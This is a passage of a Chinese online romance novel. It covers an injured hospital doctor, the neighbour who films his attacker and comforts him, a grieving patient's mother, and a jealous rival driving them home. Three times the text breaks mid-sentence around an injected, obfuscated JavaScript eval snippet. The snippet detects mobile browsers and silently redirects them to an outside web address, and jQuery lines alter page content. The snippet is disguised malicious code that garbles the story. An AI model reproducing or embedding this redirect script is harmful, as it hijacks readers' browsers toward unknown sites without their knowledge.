黄转青举着手机,像一个无畏的战地记者。
“还有你说的每一句话!污蔑医生,扰乱医院秩序!证据确凿!”
姑父看过来,认出了她——电梯里的一面之缘。
医院的保安气喘吁吁地冲过来,几个人合力,将仍在挣扎的姑父控制住,夺下了他手中的武器。
包围圈松动了一些。
黄转青再也支撑不住,靠着墙壁滑坐到地面上,受伤的右腿有点不舒服,她才想起自己刚才弄丢了拐杖。
手机还握在手里,录像的灯还在闪烁。
黄转青大口喘着气,心脏狂跳不止,目光越过混乱的人群,在找周桨鸣。
周桨鸣依旧靠在门框上。下颌的伤口还在流血,染红了他半边脖颈和白色的衣领。
他抬手,用手背蹭了一下下巴,看到满手的鲜红,眼神依旧茫然,还没从刚才那场风暴中回过神来。
他没有去看被保安控制住的姑父,也没有理会周围的一切。
周桨鸣抬起头,目光落在不远处,跌坐在地上,脸色苍白却握着手机对着他的黄转青身上。
黄转青通过镜头与周桨鸣四目相对,她想喊他,喉咙却像被堵住,发不出声音。
只能做了一个无声的口型:周桨鸣,你别怕。
黄转青的眼泪掉了下来。
她终止了录像。
周桨鸣看着坐在狼藉中的她。
看着她打着石膏的腿。
看到了她的口型。
看到了她的眼泪。
下颌伤口的痛在这一刻才真正传递到大脑。他眨了眨眼。
然后站了起来,朝黄转青走过去。
26. 拥抱
周桨鸣看着黄转青坐在地上,拐杖也没在手里。
再往前看,拐杖在走廊上,人走人停,让其滚出老远,像个被遗弃的可怜虫。
周桨鸣朝黄转青迈步过去。
伸出手,想把她整个捞进怀里,好像只有这样,才能把刚才那样的十几分钟从自己身上挤出去。
可手指几乎要碰到她肩膀的时候,他刹住了车,往后退了一下。
空气里有消毒水味和血味,混在一起,压着他。
走廊里人影幢幢。
周桨鸣站在那里,像个突然被抛到陌生舞台中央的演员。
不知道台词,也不知道时代,手脚都不知道该往哪里动弹。
左支右绌就会不得体,他在这样的狼狈中反而想要顾及体面,所以只能定住,以一种倔强的姿态进行一场不知道对手是谁的抵抗。
“摔到没有?”
周桨鸣俯下身,手臂从她腋下穿过,半扶半抱地把人弄了起来。
黄转青轻得像片叶子,又僵硬像块木头。
她没吭声,任由他把自己架到旁边的候诊椅上。
周桨鸣转身去捡那副拐,把拐杖轻轻靠放在黄转青的座位旁边。
做完这些,他才挨着她坐了下来。
他没看她,只是把头往后仰,疲惫的抵着同样疲惫的椅背,视线投向天花板上。
光晕在眼前模糊成一片。
下颌骨那里一跳一跳地疼,手臂上被划开的口子大概挺深,血没完全止住,他能感觉到温热的液体沿着皮肤往下爬,一点点洇湿袖子,再贴在皮肤上,很不舒服。
这些清晰的感觉,此刻反而成了锚点,把他飘忽的意识尽力拽回来。
黄转青的视线却胶着。
从他渗血的手臂一路往上看,看向下颌。
有脚步匆匆的护士拎着白色托盘正在小跑过来。
人群孩子啊混乱地往外涌动。各种惊魂未定的面孔从他们眼前掠过。
周桨鸣感到自己的右手被一只手覆盖住。
那只手很凉,指尖甚至在颤抖,却用力握紧他的手指。
他有些愕然。
黄转青正看着他,近乎执拗。
“去办公室处理你的伤。”
周桨鸣环顾了一下四周。这确实不是个处理伤口的地方。
这才迟钝地反应了一句,从一场大梦里被摇醒。
撑着膝盖站起来,伸手去扶黄转青。
两人以一种别扭的姿态,朝着走廊尽头的办公室去。
办公室的门虚掩,周桨鸣用肩膀顶开。
里面空间不大,小郑也从门外进来,眼疾手快接过护士手里的托盘:“我来我来,你去忙别的!”
护士见有人接手,点点头便转身离开了。反手带上门。
办公室里只剩下这三人。
“你坐着别动!”小郑把周桨鸣按回椅子里,拿起镊子和棉球,对着灯光清理他下颌那道伤口。
小郑絮叨:“你这真是屋漏偏逢连夜雨!看看这口子,深倒不算太深,幸好不用缝针……”
冲洗、消毒、上药。
门再次被推开!
脆弱不堪的气氛被打破。三个人都迅速扭头。
一个约五十多岁的女人卷了进来。
穿着花布衬衫,头发挽在脑后,脸上布满泪痕。
手里攥着一个塑料袋,拿得很小心,显得袋子里装的东西应当贵重。
眼睛直奔周桨鸣而来。
小郑下意识挡在了周桨鸣面前:“您怎么能进来?!快出去。您是谁啊?”
女人的的眼睛红肿。
周桨鸣已经认出来,是那位司机的母亲。
“周医生!周医生!我可算找到你了!”
女人无视黄转青和小郑,也完全没注意周桨鸣脸上的伤痕,或者说,她看见了,但那似乎更刺激了她的情绪。
她冲到周桨鸣面前,动作很快。
“周医生!求求你!再救救他吧!我儿子他刚才又不行了!护士说……护士说……”
女人语无伦次,浑身抖着,手里的塑料袋也跟着晃动,“他们说没救了,我不信!周医生你最厉害,你再想想办法!求你了!”
她说着就要往地上跪。
周桨鸣这回有经验了。一把托住女人的胳膊,阻止了她下跪的趋势。
动作牵扯到肩膀上的伤口,额头上渗出汗。
“您别这样!快起来!”
周桨鸣用力将女人扶住:“您冷静点!慢慢说,谁不行了?您儿子?哪个儿子?”
他真不敢想,怎么还有个儿子也出问题了?
黄转青单腿撑着身体,靠在桌边,看着这个情绪崩溃的女人。
“是刘强!开货车的刘强啊!周医生你不记得了?你还把他从阎王爷手里抢回来过啊!”
女人哭喊,紧紧抓住周桨鸣托着她胳膊的手,那是救命稻草。
说到最后已是泣不成声,几乎要瘫倒,全靠周桨鸣支撑着。
刘强?
周桨鸣当然记得。他问那个话是还以为这女人有另一个儿子。
刘强就是今天去世的那位。
荒谬。
周桨鸣看向黄转青,黄转青看着女人。
“大姐!”小郑反应过来,开口了,“您听我说!刘强已经去世了……”
他说得艰难。
这种事不是第一次发生,但依然让他不敢想象,要经历了怎样的精神创伤才会出现这样的幻觉。
“不可能!他没死!他没死!”
女人像是被踩了尾巴的猫,猛地尖叫,开始大力挣扎。
“我儿子没死!他刚才还跟我说话!他说担心周医生你!他来了!他就在外面!是你们!是你们不肯救他!”
女人将手里的塑料袋往周桨鸣怀里塞。
“周医生!你看!这是他让我带给你的!他特意去乡下收的土鸡蛋!他说你太累了。你快吃!吃了就有力气救他了!”
塑料袋里面的东西发出碎裂声。滴滴答答地落在地板上,留下污迹。
是鸡蛋碎了。
黄转青突然有点想干呕。
“大姐!您冷静!刘强他真的已经不在了!”小郑拿出手机发了几条信息后再次开口。
“骗子!你们都是骗子!还我儿子!”
女人陷入自己的世界,开始用头去撞周桨鸣的胸膛,力量不大,但让人心惊。
黄转青伸出手,不是去推搡女人,而是抓住了女人再次撞向周桨鸣的手腕。
“阿姨,您看清楚,他是周桨鸣,是救过你儿子的周医生!他现在也受伤了,伤得很重,你再这样伤害他,刘强大哥如果知道你这样对待他的恩人,他会安心吗?”
女人动作停下来。
“周医生……你是周医生。”
女人喃喃后开始恸哭,身体软倒下去,哭得肝肠寸断。
“他临走前,还说周医生是好人,是菩萨,让我一定要谢谢你……”
女人断断续续,浸满血泪,“对不起,周医生,我糊涂了,我不是人……”
终于来人。
“周医生,您没事吧?”一个护士急忙上前,看到周桨鸣肩膀处的狼藉,就要动手清理,周桨鸣朝她摇摇头示意不用。
保安们也要把女人搀扶出去。他们似乎也不好意思,没看好后续现场,让家属再次进入。
周桨鸣又摆了摆手,表示不计较。
“我没事。先扶她去休息室,联系一下心理科的同事过来看看。”
女人被搀扶着往外走,嘴里还在喃喃:“周医生,鸡蛋……”
办公室里重回三人状态。
“衣服掀了,我瞅瞅你肩膀那块儿。”小郑长叹一口气,决定继续干正事。
周桨鸣把上衣彻底脱掉,扔在一旁的椅子上。
赤裸的上身暴露无遗。肩膀那儿果然一片红,显得狰狞。
腰腹之间那片淤伤也还在。
小郑也看见了,正好他不想再提刚刚那个女人的事,这下给了他新的话题,天赐良机。
“还没散干净呢?我说哥,上次打野球那帮孙子下手也太黑了!看把你闷成啥样了?还疼不疼?现在?”他用手指戳了一下淤青边缘。
“还有点,不过好多了。”
“看看!看看!”小郑摇头,“还去不去打野球了?不长记性!跟你说多少次了,那帮人没轻没重的……”
“你这是打野球受的伤?”
黄转青的声音突然插进来,穿破小郑满满当当的絮叨。
她就坐在离周桨鸣不到一米远的另一张椅子上。
已经挺直了背,眼神从腹部移到周桨鸣脸上。
完了。
之前周桨鸣胡诌说是被她推搡导致的……谎言像火锅冒泡,清脆地一个个炸开,迸溅的热油烫得他体无完肤。
下颌的伤口、肩膀的纱布……周桨鸣看起来狼狈又脆弱。
黄转青不可能现在跟他计较这个。
其实她也压根没想计较,因为她对于自己此刻的情绪很陌生。
她的情绪是心疼。
小郑笨手笨脚地给周桨鸣肩膀缠好了最后一段纱布
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190027|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,打了个不甚美观的结。
偷偷瞄了一眼黄转青那张严肃脸,又看看周桨鸣垂着眼睑的脸。
独自收拾好托盘里的东西,发出叮当脆响,急于打破沉默。
“院办那边催你赶紧过去一趟。今天这事儿流程肯定得走,上面等着问话呢。挺急的。”
周桨鸣点了点头,下颌的伤口因为这个动作又扯了一下。
“知道了,一会儿就过去。”
“那我先出去了。”
办公室里只剩下她们两人。
“对不起。”周桨鸣开口,“之前骗你是我不对。”
“还有刚才,是不是吓到你了?对不起。”
他等待着,等待着质问,或者干脆是沉默。
黄转青只是看着他。
“有关系,暂时不原谅你。”
是针对他第一个谎言。
“没关系,你没有任何错。”
这是回应他第二个道歉。
周桨鸣撞进她的眼睛里。
那里面很温暖,莫名让他想钻进去,钻进那片眼睛里。
钻进去,而后被包裹,被裹紧,一定很安全,他一定能睡个好觉。
黄转青动了。
她没有借助拐杖,从椅子上站起来。
再单脚蹦跳着逼近到他面前。
距离有点过于近了……周桨鸣心里想着。
他好像能闻到黄转青洗发水的味道。
黄转青站定,比他坐着的姿势高出一截。
换她低下头,俯下身,伸出双臂,将他抱进了自己的怀里。
她还微微抬起自己打着石膏的那条腿。
周桨鸣的身体在黄转青双臂环上来的时候,心里的声音告诉他:推开她,一定要推开她。
这算什么?他不是这种人。
他不喜欢这种不清不楚的暧昧,痛恨这种没有边界感的接触,也厌恶被同情。
可在这排山倒海中,他的身体背叛大脑的指挥。
周桨鸣甚至在黄转青还未完全贴合过来时、拥抱的动作还带着试探性的生疏时,
他的双臂已经如同拥有独立意志,大力回抱了过去。
毫无缓冲。
黄转青被他这突如其来吓一跳,差点没站稳。身体立刻就要向后仰。
可是周桨鸣抱得很用力,脸埋进她颈窝与肩膀交接处,那里带着她的体温。
黄转青那点情绪一下子七零八落。
一只手不得不撑在他赤裸的另半边肩膀上,试图拉开一点距离,好让自己能顺畅呼吸。
“周桨鸣。”她的声音带着恼怒,“你干什么?”
她推了一下他的肩膀,纹丝不动。
埋在她颈窝里的那颗脑袋动了动,闷闷的声音传出来,有点像在耍赖:“你不是要抱我?”
“话是这么说没错,但是……”
她感受着腰间那两条手臂依旧固执,透出某种不顾一切的意味。
“……你松开点!”
又用力推了他一下。
这一次周桨鸣的手臂松动了,但依旧没有放开她。
把脸从她颈窝里抬起来一点,下巴抵着她的肩膀。
呼吸灼热,喷在她的脖颈上,激起一阵战栗。
他的声音就在她耳边:“黄转青,我发现你这个人真的很开放。”
“周桨鸣,你不要以为你刚受了伤,就可以在这里肆无忌惮。信不信我揍你?”黄转青已经捏住了拳头,自以为威胁意味十足。
周桨鸣退开了一点,仰头看着她。
黄转青此刻站在逆光,科室离得足够近,就算逆光他也能看清她脸上的一切表情变化。
逃无可逃。
眼神在她脸上停留了几秒。
忽然又低下头,避开了她的视线,重新把脑袋搁到黄转青肩膀上。
再开口时,刻意装出来的轻佻荡然无存,只剩下依赖。
“可是我真的很痛。”
周桨鸣说这句话时还故意带着鼻音。
黄转青装出来的气愤冰消瓦解。
她看着灯光落在他赤裸的上半身,下颌伤口狰狞,肩膀纱布刺眼。
他像个刚被打碎又勉强拼凑起来的物品,裂痕遍布,摇摇欲坠。
“我知道。”
带着一种自己也未曾察觉的柔软和叹息。
说完这三个字,她再一次抱紧了他。
拥抱不再像之前那样是安抚,而是充满力量。
下巴抵在他头顶。
她用自己的体温和心跳,去包裹住他此刻的疼痛和狼狈。
27. 修罗场(伪)
门外渐渐又有了人声,只是没人再能推门进来。
人声仅代表恢复了秩序。
黄转青看着周桨鸣身上的伤。
秩序恢复只需一瞬间,可人在其中辗转却又得要多久才能恢复呢?
黄转青还在抱着周桨鸣,要将自己所有的力量都传递给他。
拥抱无关暧昧,是一种支撑,是目睹对方在泥泞中,于是伸出的的绳索。
时间凝固了很久,又或许只是短短几个转息。
周桨鸣恢复的也很快,松开了自己紧箍住黄转青的双臂。
当初抱上去时很快,现在撤下来时也很快。
甚至自己还带着点慌乱,向后弹开一点,拉开距离。
黄转青被他这突如其来的动作弄得一个趔趄,单腿本就吃力,她茫然抬头,撞进周桨鸣紧张的眼神里。
“怎么了?”黄转青不解。
周桨鸣飞快地从她脸上移开自己的目光。
“你的腿怎么样了?我刚才忘了,压到没有?疼不疼?”他想伸手去检查,被黄转青制止。
黄转青低头看看自己的石膏腿,试着轻轻用力踩了踩地,摇摇头:“没事啊,没压着。我抬着呢,有数。”
她想证明似的又抬了抬那条石膏腿。
“不行。”周桨鸣斩钉截铁,仿佛他才是主治医生,“腓骨骨折初期稳定性很重要。万一移位了怎么办?你……”
说一半又不说了,黄转青抬了下下巴,示意他继续说。
周桨鸣好像才意识到自己的动作有多反应过度,现在才开始不自然的别扭,“要抱以后再抱。现在先去复查。”
黄转青:“……”
这什么转折?这什么倒打一耙的逻辑?什么叫要抱以后再抱?
说得好像是她死乞白赖、不顾腿伤非要抱他一样!
明明是他自己抱得死紧不肯撒手!
黄转青没好气,白了他一眼,声音也凉飕飕:“周医生,复查我已经去过了。医生说恢复得很好,让我继续保持,再过两周来拆石膏就行。不劳您大驾押送我去了。”
周桨鸣明显脑袋空空了一下,脸上闪过尴尬,随即乱七八糟揉了一通自己的脸。
虽然刻意避开下颌,可肌肉牵连,带着伤口还是隐隐作痛。倒也刺激得他更清醒。
“好的,那就好。”
这次的沉默不再沉重,让沉默回归了沉默本身的价值。
“院办那边我得过去一趟。今天这事流程还没走完。”
黄转青的心跟着提了一下。
医闹事件,尤其涉及到医护人员受伤,后续的处理极其繁琐且压力巨大。
“流程会很麻烦吗?”她忍不住问。
周桨鸣扯了扯嘴角:“嗯。得做详细笔录,把事发经过、受伤情况、目击者情况都书面记录。确认责任划分。还要配合警方调查取证,最后还要写事件报告……总之,一时半会儿完不了。”
他语气平淡,像是与己无关。
换黄转青沉重和无奈。
这就是程序,冰冷而必要,是对医生和医院的一种保护,也是一种消耗。
“我能跟你一起去吗?如果不行,那我在外面等你?”
她担心他一个人去面对那些质询,尤其是在他身心俱疲还带着伤的情况下。
周桨鸣看了她一眼,眼神复杂,摇了摇头:“不用。你在外面等也没意义,那里面的气氛不好。而且也只接受涉事医护人员和相关证人单独问询。你去了也只能干等。回家休息吧。”
是温和的拒绝。
但黄转青不听:“我跟你一起去。”
千言万语,只化作这一句。
语气坚定,不容拒绝。
“行吧。但只能在院办外面走廊等。里面气氛不好,也不允许无关人员进。”
“我知道。我就在外面。”黄转青松了口气,只要离他近点就行。
周桨鸣把内搭的衣服捡起来穿回去。有捡起地上那件被蛋液弄脏的白大褂,看了看肩膀那块恶心的污迹,还是嫌弃地没再穿上,只是搭在手臂上。
流程漫长而煎熬。
黄转青作为证人被问了十几分钟,出来后坐在椅子上,看着人来人往。
跟小林说了一下大致情况,让他自己去周边转转。
小林说不用,车已经停在医院的停车场里。正好他在车里睡一觉,一会儿还是来接她。
等了快一个半个小时,才看到周桨鸣走出来。
嘴唇紧抿着,下颌的伤口似乎因为频繁说话而显得更红肿。
周桨鸣以为黄转青早走了,看到她还在,有点出乎意料。忍不住笑了一下。
“结束了?怎么样啊?”黄转青拄着拐杖站起来。
“嗯。”周桨鸣的声音有些沙哑,“鉴于这次受伤情况,医院给我批了一周假,强制休息。”
这算是不幸中的万幸。
黄转青松了口气:“那挺好,你好好养伤。”
周桨鸣点点头:“走吧,送你回去。我打个车先。”
“不不不用打车。”黄转青摆手阻止,“我朋友开车送我来的。正好,顺路一起回去。”
她为自己的机智安排感到满意,完全没意识到即将开启什么局面。
周桨鸣眉头挑了一下:“朋友?开车?”
“对。正好他今天有空,就送我来了。走吧,他车就在附近。”
黄转青说得坦坦荡荡,边走边给小林发了消息。
既然她已有安排,周桨鸣就听她的:“那正好,省事了。”
两人走出医院大门,车也刚好停到路边。
小林看到黄转青身边的周桨鸣时,明显没反应过来。
周桨鸣穿着沾染了污渍的衬衫,下颌还有明显的伤口,整个人散发着强烈的存在感。
“这是周桨鸣,住我楼下,刚跟你说的被医闹的医生就是他。”
黄转青简单介绍,又对周桨鸣说,“这是小林,我朋友。”
“周医生,你好。”小林恢复镇定,礼貌地伸出手,带着模式化的关切,“你这伤还好吗?”
“小问题。”周桨鸣伸手和他握了一下,力道适中,笑容堪称和煦,只是配上那身伤,怎么看怎么违和,“一点小意外。麻烦你了林先生。”
“不麻烦。”小林拉开后座车门,“青青腿不方便,坐后面吧?周医生你也……”
“你坐前面吧。”黄转青抢先对周桨鸣开口,给出一个体贴禺自己的安排,“我一个人坐后面宽敞,腿能伸开!”
她说完,朝着两个人点了点头。
周桨鸣:“……”
小林:“……”
两人目光交汇一瞬,又迅速分开。
小林眼中闪过几秒钟被冒犯的不悦,但迅速被温和掩盖。
周桨鸣则像是没看见,从善如流地拉开副驾车门,回答黄转青:“行,听你的。”
现在的沉默就超出了沉默本身的价值。显得很诡异。
黄转青觉得有点闷,试图活跃气氛:“今天真是辛苦小林了,在医院外面呆了那么久。也辛苦周医生了,折腾了一下午。晚上咱们找个地方一起吃点东西?我知道新开了家……”
“不用了!”小林和周桨鸣异口同声地拒绝,声音重叠在一起。
黄转青:“?”
她看看前面副驾上目视前方的周桨鸣,又看看驾驶座上同样目不斜视的小林。
一股名为莫名其妙的气流在车厢内盘旋。
小林立刻回话:“青青,你腿还没好利索,别折腾了。而且周医生这一身伤,更需要静养。改天再吃,我做东。”
他话语得体,理由充分,把周桨鸣的伤也考虑进去了,显得十分周到。
周桨鸣靠在椅背上,目光看着前方车流,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190028|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是没听到小林的话,忽然开口:
“复查结果真没问题?医生怎么说骨痂形态的?腓骨中下段受力点,恢复期最怕二次受力不正。”
他侧过头,只看向后座的黄转青,眼神专注,完全无视旁边开车的小林。
“啊?”黄转青没想到他突然问这个,“就说长得挺好,形态?没具体说形态啊。”
她有点茫然。
“片子呢?带了吗?给我看看。骨痂形态关系到后期承重和恢复速度,马虎不得。”
“在包里呢,我懒得拿。”黄转青老实回答。
“没事,回去我再帮你看看。”
周桨鸣点点头,仿佛这事就这么定了。
这才像刚想起旁边还有人,转向小林,语气恢复那种客气的社交腔:“林先生见笑了,职业病。我们当医生的,见着片子就想瞅两眼。”
小林脸上的笑容依旧温和:“理解,周医生很敬业。不过青青有我照顾,周医生你伤得重,还是多操心自己比较好,好好休养。”
话语温和,却暗含锋芒。
周桨鸣像是没听出弦外之音,反而顺着他的话,叹了口气,语气带着点自嘲的可怜:“是啊,院办给了一周假,我是得好好修养。青青也是成年人了,不一定需要你照顾,照顾她之前你问过她吗?也许她能把自己打理好。”
说话间,周桨鸣通过车的的后视镜,和后座的黄转青对视。
黄转青还是懵懵的,今天实在发生太多事了,她现在心神分不出来琢磨这俩男的在聊什么。
“青青是我朋友,照顾她是应该的。”
小林的声音依旧平稳,但车速快了一点,汇入车流时显得急切。
他也从后视镜里看向黄转青,但没得到回视。
“青青,你妈妈下午还打电话问我你的情况呢,她很担心你。我说了恢复不错,让她放心。阿姨说等你腿好了,想让你回厦门住段时间,好好养养。北京还是太干了。”
巧妙搬出了阿姨,这也是他天然能融入的“家庭氛围”。
却刚好踩中黄转青雷区……
雷区哪用得着分心神……黄转青只嗯了一声,显然不想多做回答。
周桨鸣敏锐地捕捉到了她的情绪,忽然轻轻笑了一声。一下子觉得和小林的较量索然无味,甚至有点幼稚。
他懒得再费口舌。
可回头一看黄转青,她面色不好,看起来有种憔悴的伤心……
周桨鸣在心里叹了口气。
又开口:“北京冬天是干,养植物也费劲。”
他没头没尾地说了这么一句,似乎是突然转变阵营一样,打了小林个措手不及。
“有什么费劲的……”黄转青不乐意了,“我还打算之后去燕郊租个带院子的房子呢,离得近,空气好,阳光足。”
“那挺好啊,你想种多少东西都行。我还能带着小叮当去玩儿,冬天暖气足,猫也冻不着。”
“对呀对呀!好呀好呀!”黄转青的眼睛瞬间亮了。
小林握着方向盘的手彻底绷紧。他看了一眼周桨鸣。
这个伤痕累累的狼狈男人,轻飘飘几句话,就把他营造的家庭关怀氛围击碎。
这是他最自然、最得心应手的关怀方式,向来也让他自己感觉良好、名正言顺、无往不利。
只是这次……
沉默再次降临,这一次,充满了无形的较量。
周桨鸣舒服地调整了下坐姿,闭上眼睛,淡淡地补了一句,像是自言自语:
“养伤,也得找个感觉安全的地方养。对吧?”
黄转青看着窗外,脑子里一会儿是妈妈电话里的声音,一会儿是洒满阳光的小院和毛茸茸的肥猫。
她并不纠结。
只有小林,从后视镜里看着周桨鸣闭目养神的脸,清晰感受到了这个男人的危险,他太知道黄转青想要什么了。
28. 你早该拿我当枪使了
车子终于驶回小区,小林熄了火,解开安全带,动作刻意维持从容。
“青青,你腿不方便,接下来几天我……”
“不用了小林。”
黄转青没等他说完,解开自己的安全带,摸索着旁边的拐杖.
“我自己能行,上一周不也这么过来了?做饭有外卖,打扫有钟点工。”
“那怎么行!伤筋动骨一百天,你自己在家万一磕着碰着……”
“怎么不行?”坐在副驾的周桨鸣也开口,他转过头,平静地看着小林,脸上没什么表情,眼神倒是很锐利,“她是成年人了,能自己拿主意,清楚自己的身体状况。你听她的不行吗?林先生。”
语气甚至称得上礼貌。
就是每句话都像个老虎钳,一下一下松开又紧,钳住小林那套逻辑链条,为的是动摇根本。
黄转青点头:“是的,真的不用麻烦你跑过来。”
小林被这二打一噎住,一口气堵在胸口。
他深吸一口气,试图迂回:“那下次复查呢?我再送你过去?”
“不。”
黄转青想拒绝,但又想到自己这样出门如果有车确实会比较方便,一周后是十一收假,返程人绝不会少。
犹豫立刻被小林捕捉到,他立刻就要开口敲定。
“我有车。而且我也要去医院挂水换药,很顺便。”
周桨鸣再次抢先一步,截断小林即将出口的话。
又看着黄转青,语气既是陈述,也是询问:“医院刚给我批了一周假,我没什么事。如果你需要我帮忙的话可以随时喊我,不用有心理压力,你需要吗?”
目光平静而坦诚,没有逼迫,只有询问和一种“我就在这儿”的认真。
黄转青看着他下颌的伤口,也知道他肩膀胳臂上缠着的纱布,想到他刚经历完医闹和院办质询。
她点了点头:“确实比较方便,那我和你一起去吧,咱俩互相照顾。”她转向小林,露出一个带着歉意的笑容,“也免得你来回跑。谢谢你今天特意跑一趟!下次有机会请你吃饭!”
话说到这个份上,小林还能说什么?
勉强扯出一个笑容:“好,那你们注意安全。有事随时给我打电话。”
小林的车开走,留下周桨鸣和黄转青站在门口。
秋夜的凉风吹过,周桨鸣伸出手臂让黄转青扶着,两人以一种相互支撑的姿势往家走。
电梯门关上,狭小的空间里,刚才一致对外的默契散去,黄转青后知后觉地感到不好意思。
偷偷瞄了一眼沉默的周桨鸣,小声开口:“周桨鸣,对不起啊。我是不是有点拿你当枪使了?”
她指的是刚才利用他拒绝小林的行为。
周桨鸣侧过头看她,没说话。
在黄转青以为他会生气或者嘲讽时,周桨鸣伸出手,在她额头上不轻不重弹了一个脑崩!
“哎哟!”黄转青瞪大眼睛看他。
周桨鸣看着她表情乐了,又伸出大拇指,用指腹在刚才被弹的地方揉了揉。
“你早该拿我当枪使了。”周桨鸣声音低沉,一整天经历了太多事,他现在也没什么力气,“放着现成的枪不用,自己在那儿硬扛,傻不傻?”
电梯到了黄转青家所在的楼层。
周桨鸣扶着她走出来,一直走到她家门口。
黄转青摸出钥匙开门,周桨鸣站在她身后,没有立刻离开的意思。
光线冷白,笼罩着两人。
门开了,黄转青扶着门框,回头看他:“谢谢你送我上来,你也快回去休息吧。”
周桨鸣还是没有动。
他站在灯光下。
“我刚才跟小林说的那些话,是我的真心话。”
黄转青握着门把的手一下就捏紧,有点紧张的看着他。
“你是成年人,能自己拿主意,我会尊重你的任何决定。你想独立,想自己扛事儿,那是你的权利。”
这是一个毋庸置疑的事实。
“但是,我接下来说的,也是真心话。”
“你能照顾好自己,和我作为朋友想照顾你,这两件事,并不冲突。你很独立,很坚强,这很好。同时,你渴望被关心,被在意,这同样很好,同样并不冲突,且一点也不丢脸。”
黄转青的心脏好像被展开,展开成长长的一条,如一条巨大的血管,让血液快速流通而过,让她的脸颊和眼眶也像被血液流通,红红的伤心。
“你不需要谁来拯救,你本来就很强大。但是,”周桨鸣把但是拉得很长,他是故意的,“是人都会需要帮助,这很正常,你也会需要帮助,这不可耻。”
“我喜欢你,出于这份好感,我想帮助你。抛开这个,我觉得你这个人不错,作为邻居,作为朋友,我也想帮助你。这两个理由,都是真的。”
太安静了……黄转青心里想,这太安静了。
她听到自己的心脏重新打上结的声音。
周桨鸣向前微身,距离拉近了一些:“所以你可以选。你觉得哪一个理由更不会给你带来压力,你就选择接受哪一个的帮助。因为无论你选哪个都是真的,也都是我站在这里的理由。”
他最后总结陈词,这下就回归了医生的本职了,语气很像问诊:“话说到这里,意思就是,我就住你家楼下,我也在养伤,所以这一周我基本不会出门。有事一定要及时喊我。”
周桨鸣直视着她的眼睛,要确认她每一个字都听得到:“我讲明白了吗?”
黄转青站在原地,灯光太白了,显得她的眼眶更红。
她只能点了点头,鼻音浓重地回了一声:“讲明白了。”
周桨鸣又乐了,看着黄转青,伸手在她脸前打了个响指,说:“好了,收!”
周桨鸣离开后不久就又发来微信。
“你有驾照吗?”
“没啊。干嘛?”
周桨鸣推送了一个驾校教练的名片。
“等你腿好了去学一个呗。以后想去哪儿也方便,真要去燕郊租院子也省心。”
黄转青看着屏幕,觉得这话在理。
“有道理!等拆了石膏就安排上。”
发完这条,她后知后觉地想起周桨鸣那一身伤,尤其是肩膀和胳膊的纱布。
“你肩膀胳膊的伤,换药方便吗?需要我帮忙吗?”
她发出去,但其实只是随口一问,想周桨鸣那个性格应该不会要帮忙。
周桨鸣秒回:“需要。”
黄转青失笑。
“那行。你需要换药的时候喊我一声,我下楼帮你。”
周桨鸣:“你腿又不行,下楼上楼不方便。我带药上门,你帮我换。”
“……行吧。”
她还能说什么,伤员最大。
刚放下手机,微信又响。这次是陈毓。
“青青,复查结果怎么样啦?”
“挺好的!医生说恢复不错!”
“那就好!明天中午下楼来家里吃饭啊!”
黄转青看到这条,脑袋上缓缓冒出一个问号。
“阿姨,您过来周桨鸣家里啦?
陈毓老大不乐意:“不是说好了叫姐,叫什么阿姨!周桨鸣这小子不是受伤了吗,我过来照顾他几天。想喝汤吗?想喝汤的话现在下楼,我今晚炖了冬瓜排骨汤。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191433|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黄转青气得差点从沙发上跳起来,当然,腿不允许。
好啊周桨鸣!你妈妈都来了!你还装模作样要我给你换药?
她切换到周桨鸣的对话框,愤怒打字。
还在打呢,有人敲门。
黄转青以为是自己点的外卖,喊了一声“房门口就行!谢谢!”
结果还在敲!
只好一边打字一边去开门。
走到门口,正好把消息打完发出去。
“周桨鸣!你妈妈过来你家了是不是?我都知道了!那你为什么还要我帮你换药啊!骗子!”
字里行间塞满感叹号。
一把拉开了门。
是周桨鸣站在门外。
他穿着简单的家居服和运动裤,手上是一个保温桶——老熟人了。
周桨鸣在看手机,故意没看黄转青。
当着黄转青的面,笑得很欠揍,点开对话框,按住语音键,对着话筒回道:
“因为我想让你帮我换,不行吗?”还有后半句,“想让你摸我,不行吗?”
黄转青:“……”
给孩子吓得立正了!
脑子里一片空白,只剩下那句话在无限循环。
周桨鸣一定是故意的,不然当着面直接回答她就好,为什么要多此一举用微信进行中介!
周桨鸣像是完全没看到她的石化,从她旁边挤进了门,又把保温桶塞到她手里,语气轻松:
“我妈炖的冬瓜汤,清热去火,趁热喝。喝完摸我——哦不是,喝完换药。”
